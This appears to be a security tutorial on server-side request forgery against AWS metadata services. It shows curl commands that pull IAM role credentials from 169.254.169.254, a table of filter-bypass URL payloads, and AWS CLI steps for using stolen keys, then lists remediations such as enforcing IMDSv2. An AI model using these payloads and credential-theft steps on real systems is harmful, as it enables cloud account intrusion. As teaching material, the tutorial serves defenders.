What is SSRF?
Server-Side Request Forgery (SSRF) forces the server to make outbound requests on the attacker's behalf. The attacker controls the destination URL — the server fetches it as if it were a trusted internal request.
Attacker → POST /fetch?url=http://internal-service/
↓
Target Server → internal-service (fetches it)
In cloud environments, the most dangerous target isn't an internal microservice — it's the Instance Metadata Service (IMDS).
The IMDS Target
AWS EC2 instances expose a metadata endpoint at:
http://169.254.169.254/latest/meta-data/
This endpoint doesn't require authentication (IMDSv1). If you can make the server request it, you can retrieve:
- IAM role credentials
- Instance identity documents
- User data scripts (often contain secrets)
- Network configuration
Fetching IAM credentials
# List attached IAM roles
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRoleResponse:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "IQoJ...",
"Expiration": "2025-02-10T14:00:00Z"
}With these credentials you can pivot into the AWS account using the AWS CLI.
IMDSv2 — The Defense
AWS introduced IMDSv2 to require a token-based flow:
# Step 1: get a session token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Step 2: use token in subsequent requests
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/The PUT request cannot be made via most SSRF vectors because:
- It requires a custom HTTP header
- It's a PUT, not a GET
Bypassing IMDSv2
However, IMDSv2 is opt-in and many environments still run IMDSv1. You can check via:
aws ec2 describe-instances \
--query 'Reservations[].Instances[].MetadataOptions'If HttpTokens is optional, IMDSv1 is still active.
Common SSRF Bypasses
Basic filters often block 169.254.169.254 literally. Common bypasses:
| Technique | Payload |
|---|---|
| Decimal notation | http://2852039166/ |
| Hex notation | http://0xa9fea9fe/ |
| IPv6 | http://[::ffff:169.254.169.254]/ |
| DNS rebinding | Point a domain to 169.254.169.254 |
| URL redirect | Redirect from allowed domain to IMDS |
Post-Exploitation
Once you have IAM credentials:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=IQoJ...
# Check identity
aws sts get-caller-identity
# Enumerate permissions
aws iam list-attached-role-policies --role-name MyRoleFrom here the attack surface depends entirely on what permissions the role has — S3 read, Lambda invocation, EC2 describe, or in worst cases iam:PassRole and full escalation.
Remediation
- Enforce IMDSv2 — set
HttpTokens: requiredon all instances. - Least privilege IAM — instance roles should have only what they need.
- Egress filtering — block outbound requests to
169.254.0.0/16from application processes. - Input validation — validate and allowlist URLs accepted by your application.